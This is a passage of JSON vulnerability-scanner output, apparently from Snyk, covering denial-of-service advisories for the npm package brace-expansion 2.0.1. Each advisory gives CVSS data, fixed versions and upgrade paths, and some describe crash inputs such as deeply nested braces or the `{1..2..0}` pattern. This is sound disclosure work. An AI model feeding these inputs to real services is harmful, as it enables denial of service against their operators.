Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
